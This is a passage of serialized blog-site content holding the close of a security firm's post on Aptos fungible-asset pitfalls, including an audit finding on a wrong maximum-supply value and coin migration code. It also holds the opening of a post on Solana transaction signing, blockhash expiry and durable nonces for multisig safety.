CoinConversionMap",{"type":23,"tag":504,"props":65873,"children":65874},{"style":523},[65875],{"type":28,"value":576},{"type":23,"tag":504,"props":65877,"children":65878},{"style":1012},[65879],{"type":28,"value":5697},{"type":23,"tag":504,"props":65881,"children":65882},{"style":523},[65883],{"type":28,"value":552},{"type":23,"tag":504,"props":65885,"children":65886},{"class":506,"line":633},[65887,65891,65896,65900,65905,65909,65913],{"type":23,"tag":504,"props":65888,"children":65889},{"style":511},[65890],{"type":28,"value":1977},{"type":23,"tag":504,"props":65892,"children":65893},{"style":529},[65894],{"type":28,"value":65895}," metadata",{"type":23,"tag":504,"props":65897,"children":65898},{"style":598},[65899],{"type":28,"value":648},{"type":23,"tag":504,"props":65901,"children":65902},{"style":529},[65903],{"type":28,"value":65904}," ensure_paired_metadata",{"type":23,"tag":504,"props":65906,"children":65907},{"style":523},[65908],{"type":28,"value":4789},{"type":23,"tag":504,"props":65910,"children":65911},{"style":1012},[65912],{"type":28,"value":5567},{"type":23,"tag":504,"props":65914,"children":65915},{"style":523},[65916],{"type":28,"value":7435},{"type":23,"tag":504,"props":65918,"children":65919},{"class":506,"line":687},[65920,65924,65929,65933,65938,65942,65946],{"type":23,"tag":504,"props":65921,"children":65922},{"style":511},[65923],{"type":28,"value":1977},{"type":23,"tag":504,"props":65925,"children":65926},{"style":529},[65927],{"type":28,"value":65928}," amount",{"type":23,"tag":504,"props":65930,"children":65931},{"style":598},[65932],{"type":28,"value":648},{"type":23,"tag":504,"props":65934,"children":65935},{"style":517},[65936],{"type":28,"value":65937}," burn_internal",{"type":23,"tag":504,"props":65939,"children":65940},{"style":523},[65941],{"type":28,"value":526},{"type":23,"tag":504,"props":65943,"children":65944},{"style":529},[65945],{"type":28,"value":59912},{"type":23,"tag":504,"props":65947,"children":65948},{"style":523},[65949],{"type":28,"value":630},{"type":23,"tag":504,"props":65951,"children":65952},{"class":506,"line":736},[65953,65957,65961,65966,65970,65974,65978,65982],{"type":23,"tag":504,"props":65954,"children":65955},{"style":523},[65956],{"type":28,"value":64940},{"type":23,"tag":504,"props":65958,"children":65959},{"style":598},[65960],{"type":28,"value":2457},{"type":23,"tag":504,"props":65962,"children":65963},{"style":517},[65964],{"type":28,"value":65965},"mint_internal",{"type":23,"tag":504,"props":65967,"children":65968},{"style":523},[65969],{"type":28,"value":526},{"type":23,"tag":504,"props":65971,"children":65972},{"style":529},[65973],{"type":28,"value":61291},{"type":23,"tag":504,"props":65975,"children":65976},{"style":523},[65977],{"type":28,"value":576},{"type":23,"tag":504,"props":65979,"children":65980},{"style":529},[65981],{"type":28,"value":19288},{"type":23,"tag":504,"props":65983,"children":65984},{"style":523},[65985],{"type":28,"value":1192},{"type":23,"tag":504,"props":65987,"children":65988},{"class":506,"line":785},[65989],{"type":23,"tag":504,"props":65990,"children":65991},{"style":523},[65992],{"type":28,"value":884},{"type":23,"tag":24,"props":65994,"children":65995},{},[65996,65998,66005],{"type":28,"value":65997},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":92,"props":65999,"children":66002},{"href":66000,"rel":66001},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[96],[66003],{"type":28,"value":66004},"noticed an overlooked detail",{"type":28,"value":66006}," in the linking process.",{"type":23,"tag":494,"props":66008,"children":66010},{"className":1957,"code":66009,"language":1956,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[66011],{"type":23,"tag":56,"props":66012,"children":66013},{"__ignoreMap":7},[66014,66029,66049,66066,66122,66143,66163,66183,66213,66240,66247],{"type":23,"tag":504,"props":66015,"children":66016},{"class":506,"line":507},[66017,66021,66025],{"type":23,"tag":504,"props":66018,"children":66019},{"style":523},[66020],{"type":28,"value":2711},{"type":23,"tag":504,"props":66022,"children":66023},{"style":598},[66024],{"type":28,"value":8572},{"type":23,"tag":504,"props":66026,"children":66027},{"style":523},[66028],{"type":28,"value":10754},{"type":23,"tag":504,"props":66030,"children":66031},{"class":506,"line":540},[66032,66036,66040,66045],{"type":23,"tag":504,"props":66033,"children":66034},{"style":523},[66035],{"type":28,"value":61588},{"type":23,"tag":504,"props":66037,"children":66038},{"style":598},[66039],{"type":28,"value":2457},{"type":23,"tag":504,"props":66041,"children":66042},{"style":517},[66043],{"type":28,"value":66044},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":504,"props":66046,"children":66047},{"style":523},[66048],{"type":28,"value":2439},{"type":23,"tag":504,"props":66050,"children":66051},{"class":506,"line":555},[66052,66057,66062],{"type":23,"tag":504,"props":66053,"children":66054},{"style":598},[66055],{"type":28,"value":66056},"    &",{"type":23,"tag":504,"props":66058,"children":66059},{"style":529},[66060],{"type":28,"value":66061},"metadata_object_cref",{"type":23,"tag":504,"props":66063,"children":66064},{"style":523},[66065],{"type":28,"value":2484},{"type":23,"tag":504,"props":66067,"children":66068},{"class":506,"line":633},[66069,66074,66078,66083,66087,66092,66096,66100,66105,66109,66113,66117],{"type":23,"tag":504,"props":66070,"children":66071},{"style":523},[66072],{"type":28,"value":66073},"    option",{"type":23,"tag":504,"props":66075,"children":66076},{"style":598},[66077],{"type":28,"value":2457},{"type":23,"tag":504,"props":66079,"children":66080},{"style":517},[66081],{"type":28,"value":66082},"map",{"type":23,"tag":504,"props":66084,"children":66085},{"style":523},[66086],{"type":28,"value":526},{"type":23,"tag":504,"props":66088,"children":66089},{"style":529},[66090],{"type":28,"value":66091},"coin_supply",{"type":23,"tag":504,"props":66093,"children":66094},{"style":523},[66095],{"type":28,"value":4789},{"type":23,"tag":504,"props":66097,"children":66098},{"style":1012},[66099],{"type":28,"value":5567},{"type":23,"tag":504,"props":66101,"children":66102},{"style":523},[66103],{"type":28,"value":66104},">(), ",{"type":23,"tag":504,"props":66106,"children":66107},{"style":598},[66108],{"type":28,"value":9397},{"type":23,"tag":504,"props":66110,"children":66111},{"style":529},[66112],{"type":28,"value":2059},{"type":23,"tag":504,"props":66114,"children":66115},{"style":598},[66116],{"type":28,"value":9397},{"type":23,"tag":504,"props":66118,"children":66119},{"style":523},[66120],{"type":28,"value":66121}," MAX_U128),\n",{"type":23,"tag":504,"props":66123,"children":66124},{"class":506,"line":687},[66125,66130,66134,66138],{"type":23,"tag":504,"props":66126,"children":66127},{"style":529},[66128],{"type":28,"value":66129},"    name",{"type":23,"tag":504,"props":66131,"children":66132},{"style":523},[66133],{"type":28,"value":4789},{"type":23,"tag":504,"props":66135,"children":66136},{"style":1012},[66137],{"type":28,"value":5567},{"type":23,"tag":504,"props":66139,"children":66140},{"style":523},[66141],{"type":28,"value":66142},">(),\n",{"type":23,"tag":504,"props":66144,"children":66145},{"class":506,"line":736},[66146,66151,66155,66159],{"type":23,"tag":504,"props":66147,"children":66148},{"style":529},[66149],{"type":28,"value":66150},"    symbol",{"type":23,"tag":504,"props":66152,"children":66153},{"style":523},[66154],{"type":28,"value":4789},{"type":23,"tag":504,"props":66156,"children":66157},{"style":1012},[66158],{"type":28,"value":5567},{"type":23,"tag":504,"props":66160,"children":66161},{"style":523},[66162],{"type":28,"value":66142},{"type":23,"tag":504,"props":66164,"children":66165},{"class":506,"line":785},[66166,66171,66175,66179],{"type":23,"tag":504,"props":66167,"children":66168},{"style":529},[66169],{"type":28,"value":66170},"    decimals",{"type":23,"tag":504,"props":66172,"children":66173},{"style":523},[66174],{"type":28,"value":4789},{"type":23,"tag":504,"props":66176,"children":66177},{"style":1012},[66178],{"type":28,"value":5567},{"type":23,"tag":504,"props":66180,"children":66181},{"style":523},[66182],{"type":28,"value":66142},{"type":23,"tag":504,"props":66184,"children":66185},{"class":506,"line":813},[66186,66191,66195,66200,66204,66209],{"type":23,"tag":504,"props":66187,"children":66188},{"style":523},[66189],{"type":28,"value":66190},"    string",{"type":23,"tag":504,"props":66192,"children":66193},{"style":598},[66194],{"type":28,"value":2457},{"type":23,"tag":504,"props":66196,"children":66197},{"style":517},[66198],{"type":28,"value":66199},"utf8",{"type":23,"tag":504,"props":66201,"children":66202},{"style":523},[66203],{"type":28,"value":526},{"type":23,"tag":504,"props":66205,"children":66206},{"style":622},[66207],{"type":28,"value":66208},"b\"\"",{"type":23,"tag":504,"props":66210,"children":66211},{"style":523},[66212],{"type":28,"value":5720},{"type":23,"tag":504,"props":66214,"children":66215},{"class":506,"line":851},[66216,66220,66224,66228,66232,66236],{"type":23,"tag":504,"props":66217,"children":66218},{"style":523},[66219],{"type":28,"value":66190},{"type":23,"tag":504,"props":66221,"children":66222},{"style":598},[66223],{"type":28,"value":2457},{"type":23,"tag":504,"props":66225,"children":66226},{"style":517},[66227],{"type":28,"value":66199},{"type":23,"tag":504,"props":66229,"children":66230},{"style":523},[66231],{"type":28,"value":526},{"type":23,"tag":504,"props":66233,"children":66234},{"style":622},[66235],{"type":28,"value":66208},{"type":23,"tag":504,"props":66237,"children":66238},{"style":523},[66239],{"type":28,"value":5720},{"type":23,"tag":504,"props":66241,"children":66242},{"class":506,"line":869},[66243],{"type":23,"tag":504,"props":66244,"children":66245},{"style":523},[66246],{"type":28,"value":630},{"type":23,"tag":504,"props":66248,"children":66249},{"class":506,"line":878},[66250,66254,66258],{"type":23,"tag":504,"props":66251,"children":66252},{"style":523},[66253],{"type":28,"value":2711},{"type":23,"tag":504,"props":66255,"children":66256},{"style":598},[66257],{"type":28,"value":8572},{"type":23,"tag":504,"props":66259,"children":66260},{"style":523},[66261],{"type":28,"value":10754},{"type":23,"tag":24,"props":66263,"children":66264},{},[66265,66267,66272],{"type":28,"value":66266},"When the linked fungible asset was created, the current ",{"type":23,"tag":56,"props":66268,"children":66270},{"className":66269},[],[66271],{"type":28,"value":59945},{"type":28,"value":66273}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":24,"props":66275,"children":66276},{},[66277,66279,66284,66286,66292,66294,66299],{"type":28,"value":66278},"Users can manually migrate their ",{"type":23,"tag":56,"props":66280,"children":66282},{"className":66281},[],[66283],{"type":28,"value":60107},{"type":28,"value":66285}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":56,"props":66287,"children":66289},{"className":66288},[],[66290],{"type":28,"value":66291},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":66293}," from the caller. All coins in the ",{"type":23,"tag":56,"props":66295,"children":66297},{"className":66296},[],[66298],{"type":28,"value":60107},{"type":28,"value":66300}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":494,"props":66302,"children":66304},{"className":1957,"code":66303,"language":1956,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[66305],{"type":23,"tag":56,"props":66306,"children":66307},{"__ignoreMap":7},[66308,66316,66348,66368,66404,66445],{"type":23,"tag":504,"props":66309,"children":66310},{"class":506,"line":507},[66311],{"type":23,"tag":504,"props":66312,"children":66313},{"style":1106},[66314],{"type":28,"value":66315},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":504,"props":66317,"children":66318},{"class":506,"line":540},[66319,66323,66327,66331,66336,66340,66344],{"type":23,"tag":504,"props":66320,"children":66321},{"style":529},[66322],{"type":28,"value":60654},{"type":23,"tag":504,"props":66324,"children":66325},{"style":529},[66326],{"type":28,"value":61621},{"type":23,"tag":504,"props":66328,"children":66329},{"style":529},[66330],{"type":28,"value":1051},{"type":23,"tag":504,"props":66332,"children":66333},{"style":529},[66334],{"type":28,"value":66335}," migrate_to_fungible_store",{"type":23,"tag":504,"props":66337,"children":66338},{"style":523},[66339],{"type":28,"value":4789},{"type":23,"tag":504,"props":66341,"children":66342},{"style":1012},[66343],{"type":28,"value":5567},{"type":23,"tag":504,"props":66345,"children":66346},{"style":523},[66347],{"type":28,"value":5572},{"type":23,"tag":504,"props":66349,"children":66350},{"class":506,"line":555},[66351,66355,66359,66363],{"type":23,"tag":504,"props":66352,"children":66353},{"style":529},[66354],{"type":28,"value":24151},{"type":23,"tag":504,"props":66356,"children":66357},{"style":598},[66358],{"type":28,"value":3472},{"type":23,"tag":504,"props":66360,"children":66361},{"style":598},[66362],{"type":28,"value":6125},{"type":23,"tag":504,"props":66364,"children":66365},{"style":529},[66366],{"type":28,"value":66367},"signer\n",{"type":23,"tag":504,"props":66369,"children":66370},{"class":506,"line":633},[66371,66375,66379,66383,66387,66392,66396,66400],{"type":23,"tag":504,"props":66372,"children":66373},{"style":523},[66374],{"type":28,"value":2064},{"type":23,"tag":504,"props":66376,"children":66377},{"style":529},[66378],{"type":28,"value":5327},{"type":23,"tag":504,"props":66380,"children":66381},{"style":1012},[66382],{"type":28,"value":60128},{"type":23,"tag":504,"props":66384,"children":66385},{"style":523},[66386],{"type":28,"value":576},{"type":23,"tag":504,"props":66388,"children":66389},{"style":1012},[66390],{"type":28,"value":66391},"CoinConversionMap",{"type":23,"tag":504,"props":66393,"children":66394},{"style":523},[66395],{"type":28,"value":576},{"type":23,"tag":504,"props":66397,"children":66398},{"style":1012},[66399],{"type":28,"value":5697},{"type":23,"tag":504,"props":66401,"children":66402},{"style":523},[66403],{"type":28,"value":552},{"type":23,"tag":504,"props":66405,"children":66406},{"class":506,"line":687},[66407,66412,66416,66420,66425,66429,66433,66437,66441],{"type":23,"tag":504,"props":66408,"children":66409},{"style":529},[66410],{"type":28,"value":66411},"    maybe_convert_to_fungible_store",{"type":23,"tag":504,"props":66413,"children":66414},{"style":523},[66415],{"type":28,"value":4789},{"type":23,"tag":504,"props":66417,"children":66418},{"style":1012},[66419],{"type":28,"value":5567},{"type":23,"tag":504,"props":66421,"children":66422},{"style":523},[66423],{"type":28,"value":66424},">(signer",{"type":23,"tag":504,"props":66426,"children":66427},{"style":598},[66428],{"type":28,"value":2457},{"type":23,"tag":504,"props":66430,"children":66431},{"style":517},[66432],{"type":28,"value":6193},{"type":23,"tag":504,"props":66434,"children":66435},{"style":523},[66436],{"type":28,"value":526},{"type":23,"tag":504,"props":66438,"children":66439},{"style":529},[66440],{"type":28,"value":11934},{"type":23,"tag":504,"props":66442,"children":66443},{"style":523},[66444],{"type":28,"value":684},{"type":23,"tag":504,"props":66446,"children":66447},{"class":506,"line":736},[66448],{"type":23,"tag":504,"props":66449,"children":66450},{"style":523},[66451],{"type":28,"value":884},{"type":23,"tag":24,"props":66453,"children":66454},{},[66455,66457,66462,66464,66469],{"type":28,"value":66456},"A curious reader might wonder about the fate of the ",{"type":23,"tag":56,"props":66458,"children":66460},{"className":66459},[],[66461],{"type":28,"value":60107},{"type":28,"value":66463}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":56,"props":66465,"children":66467},{"className":66466},[],[66468],{"type":28,"value":60107},{"type":28,"value":66470}," to ensure consistency.",{"type":23,"tag":65165,"props":66472,"children":66473},{},[66474,66493],{"type":23,"tag":24,"props":66475,"children":66476},{},[66477,66479,66484,66486,66491],{"type":28,"value":66478},"Could an attacker convert their ",{"type":23,"tag":56,"props":66480,"children":66482},{"className":66481},[],[66483],{"type":28,"value":60107},{"type":28,"value":66485}," to a primary fungible store and then register another ",{"type":23,"tag":56,"props":66487,"children":66489},{"className":66488},[],[66490],{"type":28,"value":60107},{"type":28,"value":66492}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":65196,"props":66494,"children":66495},{"v-slot:answer-0":7},[66496],{"type":23,"tag":24,"props":66497,"children":66498},{},[66499],{"type":28,"value":66500},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":70,"props":66502,"children":66503},{"id":1800},[66504],{"type":28,"value":1803},{"type":23,"tag":24,"props":66506,"children":66507},{},[66508,66510,66515],{"type":28,"value":66509},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":56,"props":66511,"children":66513},{"className":66512},[],[66514],{"type":28,"value":59945},{"type":28,"value":320},{"type":23,"tag":24,"props":66517,"children":66518},{},[66519],{"type":28,"value":66520},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":24,"props":66522,"children":66523},{},[66524,66526],{"type":28,"value":66525},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":14454,"props":66527,"children":66528},{},[66529],{"type":23,"tag":92,"props":66530,"children":66532},{"href":28605,"ariaDescribedBy":66531,"dataFootnoteRef":7,"id":28607},[14461],[66533],{"type":28,"value":2991},{"type":23,"tag":17402,"props":66535,"children":66537},{"className":66536,"dataFootnotes":7},[17405],[66538,66543],{"type":23,"tag":70,"props":66539,"children":66541},{"className":66540,"id":14461},[17410],[66542],{"type":28,"value":17413},{"type":23,"tag":41,"props":66544,"children":66545},{},[66546],{"type":23,"tag":45,"props":66547,"children":66548},{"id":29348},[66549,66551,66593],{"type":28,"value":66550},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":350,"props":66552,"children":66553},{},[66554,66564,66573,66583],{"type":23,"tag":45,"props":66555,"children":66556},{},[66557],{"type":23,"tag":92,"props":66558,"children":66562},{"href":66559,"rel":66560,":style":66561},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[96],"color: #007bff;",[66563],{"type":28,"value":63246},{"type":23,"tag":45,"props":66565,"children":66566},{},[66567],{"type":23,"tag":92,"props":66568,"children":66571},{"href":66569,"rel":66570,":style":66561},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[96],[66572],{"type":28,"value":65186},{"type":23,"tag":45,"props":66574,"children":66575},{},[66576],{"type":23,"tag":92,"props":66577,"children":66580},{"href":66578,"rel":66579,":style":66561},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[96],[66581],{"type":28,"value":66582},"primary_fungible_store::withdraw",{"type":23,"tag":45,"props":66584,"children":66585},{},[66586],{"type":23,"tag":92,"props":66587,"children":66590},{"href":66588,"rel":66589,":style":66561},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[96],[66591],{"type":28,"value":66592},"coin::withdraw",{"type":23,"tag":92,"props":66594,"children":66596},{"href":29376,"ariaLabel":17516,"className":66595,"dataFootnoteBackref":7},[17518],[66597],{"type":28,"value":17521},{"type":23,"tag":1815,"props":66599,"children":66600},{},[66601],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":66603},[66604,66605,66606,66609,66614,66615,66616,66617],{"id":59931,"depth":540,"text":59934},{"id":60476,"depth":540,"text":60479},{"id":61036,"depth":540,"text":61039,"children":66607},[66608],{"id":61547,"depth":555,"text":61550},{"id":61804,"depth":540,"text":61807,"children":66610},[66611,66612,66613],{"id":61847,"depth":555,"text":61850},{"id":62552,"depth":555,"text":62555},{"id":64210,"depth":555,"text":64213},{"id":64741,"depth":540,"text":64744},{"id":65722,"depth":540,"text":65725},{"id":1800,"depth":540,"text":1803},{"id":14461,"depth":540,"text":17413},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":66622,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":66623,"description":66624,"date":66625,"author":4702,"image":66626,"isFeatured":16,"onBlogPage":16,"tags":66628,"body":66629,"_type":1838,"_id":68457,"_source":1840,"_file":68458,"_stem":68459,"_extension":1843},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":66627,"width":4367,"height":4368},"/posts/multisig-security/title.png",[1855],{"type":20,"children":66630,"toc":68448},[66631,66644,66650,66655,66661,66674,66682,66695,66755,66777,66904,66909,66922,66934,66940,66954,66967,66981,67463,67468,67476,67490,67504,67643,67655,67661,67666,67684,67689,67694,67715,67999,68014,68202,68215,68344,68349,68354,68359,68387,68393,68398,68412,68444],{"type":23,"tag":24,"props":66632,"children":66633},{},[66634,66635,66642],{"type":28,"value":15592},{"type":23,"tag":92,"props":66636,"children":66639},{"href":66637,"rel":66638},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[96],[66640],{"type":28,"value":66641},"Bybit hack",{"type":28,"value":66643}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":70,"props":66645,"children":66647},{"id":66646},"solana-signatures",[66648],{"type":28,"value":66649},"Solana Signatures",{"type":23,"tag":24,"props":66651,"children":66652},{},[66653],{"type":28,"value":66654},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":82,"props":66656,"children":66658},{"id":66657},"recent-blockhash",[66659],{"type":28,"value":66660},"Recent Blockhash",{"type":23,"tag":24,"props":66662,"children":66663},{},[66664,66666,66673],{"type":28,"value":66665},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":92,"props":66667,"children":66670},{"href":66668,"rel":66669},"https://solana.com/developers/guides/advanced/confirmation",[96],[66671],{"type":28,"value":66672},"the docs",{"type":28,"value":3472},{"type":23,"tag":1909,"props":66675,"children":66676},{},[66677],{"type":23,"tag":24,"props":66678,"children":66679},{},[66680],{"type":28,"value":66681},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":24,"props":66683,"children":66684},{},[66685,66687,66694],{"type":28,"value":66686},"The actual constant ",{"type":23,"tag":92,"props":66688,"children":66691},{"href":66689,"rel":66690},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[96],[66692],{"type":28,"value":66693},"is defined here",{"type":28,"value":320},{"type":23,"tag":494,"props":66696,"children":66698},{"className":1957,"code":66697,"language":1956,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[66699],{"type":23,"tag":56,"props":66700,"children":66701},{"__ignoreMap":7},[66702,66710],{"type":23,"tag":504,"props":66703,"children":66704},{"class":506,"line":507},[66705],{"type":23,"tag":504,"props":66706,"children":66707},{"style":1106},[66708],{"type":28,"value":66709},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":504,"props":66711,"children":66712},{"class":506,"line":540},[66713,66717,66721,66726,66730,66734,66738,66743,66747,66751],{"type":23,"tag":504,"props":66714,"children":66715},{"style":511},[66716],{"type":28,"value":12671},{"type":23,"tag":504,"props":66718,"children":66719},{"style":511},[66720],{"type":28,"value":38087},{"type":23,"tag":504,"props":66722,"children":66723},{"style":523},[66724],{"type":28,"value":66725}," MAX_PROCESSING_AGE",{"type":23,"tag":504,"props":66727,"children":66728},{"style":598},[66729],{"type":28,"value":3472},{"type":23,"tag":504,"props":66731,"children":66732},{"style":1012},[66733],{"type":28,"value":12712},{"type":23,"tag":504,"props":66735,"children":66736},{"style":598},[66737],{"type":28,"value":648},{"type":23,"tag":504,"props":66739,"children":66740},{"style":523},[66741],{"type":28,"value":66742}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":504,"props":66744,"children":66745},{"style":598},[66746],{"type":28,"value":3562},{"type":23,"tag":504,"props":66748,"children":66749},{"style":1440},[66750],{"type":28,"value":6917},{"type":23,"tag":504,"props":66752,"children":66753},{"style":523},[66754],{"type":28,"value":866},{"type":23,"tag":24,"props":66756,"children":66757},{},[66758,66760,66767,66769,66775],{"type":28,"value":66759},"For those curious, the logic ",{"type":23,"tag":92,"props":66761,"children":66764},{"href":66762,"rel":66763},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[96],[66765],{"type":28,"value":66766},"starts here",{"type":28,"value":66768}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":56,"props":66770,"children":66772},{"className":66771},[],[66773],{"type":28,"value":66774},"is_hash_index_valid",{"type":28,"value":66776}," check.",{"type":23,"tag":494,"props":66778,"children":66780},{"className":1957,"code":66779,"language":1956,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[66781],{"type":23,"tag":56,"props":66782,"children":66783},{"__ignoreMap":7},[66784,66863,66897],{"type":23,"tag":504,"props":66785,"children":66786},{"class":506,"line":507},[66787,66791,66796,66800,66805,66809,66813,66817,66822,66826,66830,66834,66839,66843,66847,66851,66855,66859],{"type":23,"tag":504,"props":66788,"children":66789},{"style":511},[66790],{"type":28,"value":19248},{"type":23,"tag":504,"props":66792,"children":66793},{"style":517},[66794],{"type":28,"value":66795}," is_hash_index_valid",{"type":23,"tag":504,"props":66797,"children":66798},{"style":523},[66799],{"type":28,"value":526},{"type":23,"tag":504,"props":66801,"children":66802},{"style":529},[66803],{"type":28,"value":66804},"last_hash_index",{"type":23,"tag":504,"props":66806,"children":66807},{"style":598},[66808],{"type":28,"value":3472},{"type":23,"tag":504,"props":66810,"children":66811},{"style":1012},[66812],{"type":28,"value":4843},{"type":23,"tag":504,"props":66814,"children":66815},{"style":523},[66816],{"type":28,"value":576},{"type":23,"tag":504,"props":66818,"children":66819},{"style":529},[66820],{"type":28,"value":66821},"max_age",{"type":23,"tag":504,"props":66823,"children":66824},{"style":598},[66825],{"type":28,"value":3472},{"type":23,"tag":504,"props":66827,"children":66828},{"style":1012},[66829],{"type":28,"value":12712},{"type":23,"tag":504,"props":66831,"children":66832},{"style":523},[66833],{"type":28,"value":576},{"type":23,"tag":504,"props":66835,"children":66836},{"style":529},[66837],{"type":28,"value":66838},"hash_index",{"type":23,"tag":504,"props":66840,"children":66841},{"style":598},[66842],{"type":28,"value":3472},{"type":23,"tag":504,"props":66844,"children":66845},{"style":1012},[66846],{"type":28,"value":4843},{"type":23,"tag":504,"props":66848,"children":66849},{"style":523},[66850],{"type":28,"value":2064},{"type":23,"tag":504,"props":66852,"children":66853},{"style":598},[66854],{"type":28,"value":12738},{"type":23,"tag":504,"props":66856,"children":66857},{"style":1012},[66858],{"type":28,"value":11032},{"type":23,"tag":504,"props":66860,"children":66861},{"style":523},[66862],{"type":28,"value":552},{"type":23,"tag":504,"props":66864,"children":66865},{"class":506,"line":540},[66866,66871,66875,66880,66884,66889,66893],{"type":23,"tag":504,"props":66867,"children":66868},{"style":529},[66869],{"type":28,"value":66870},"    last_hash_index",{"type":23,"tag":504,"props":66872,"children":66873},{"style":598},[66874],{"type":28,"value":50234},{"type":23,"tag":504,"props":66876,"children":66877},{"style":529},[66878],{"type":28,"value":66879}," hash_index",{"type":23,"tag":504,"props":66881,"children":66882},{"style":598},[66883],{"type":28,"value":7180},{"type":23,"tag":504,"props":66885,"children":66886},{"style":529},[66887],{"type":28,"value":66888}," max_age",{"type":23,"tag":504,"props":66890,"children":66891},{"style":511},[66892],{"type":28,"value":7811},{"type":23,"tag":504,"props":66894,"children":66895},{"style":1012},[66896],{"type":28,"value":12177},{"type":23,"tag":504,"props":66898,"children":66899},{"class":506,"line":555},[66900],{"type":23,"tag":504,"props":66901,"children":66902},{"style":523},[66903],{"type":28,"value":884},{"type":23,"tag":24,"props":66905,"children":66906},{},[66907],{"type":28,"value":66908},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":1909,"props":66910,"children":66911},{},[66912],{"type":23,"tag":24,"props":66913,"children":66914},{},[66915,66917],{"type":28,"value":66916},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":296,"props":66918,"children":66919},{},[66920],{"type":28,"value":66921},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":24,"props":66923,"children":66924},{},[66925,66927,66932],{"type":28,"value":66926},"This means an attacker ",{"type":23,"tag":1887,"props":66928,"children":66929},{},[66930],{"type":28,"value":66931},"must use",{"type":28,"value":66933}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":82,"props":66935,"children":66937},{"id":66936},"durable-nonce",[66938],{"type":28,"value":66939},"Durable Nonce",{"type":23,"tag":24,"props":66941,"children":66942},{},[66943,66945,66952],{"type":28,"value":66944},"The second type of signature ",{"type":23,"tag":92,"props":66946,"children":66949},{"href":66947,"rel":66948},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[96],[66950],{"type":28,"value":66951},"is a durable nonce",{"type":28,"value":66953},". These were created to solve the very feature (or problem) mentioned above: short expiration 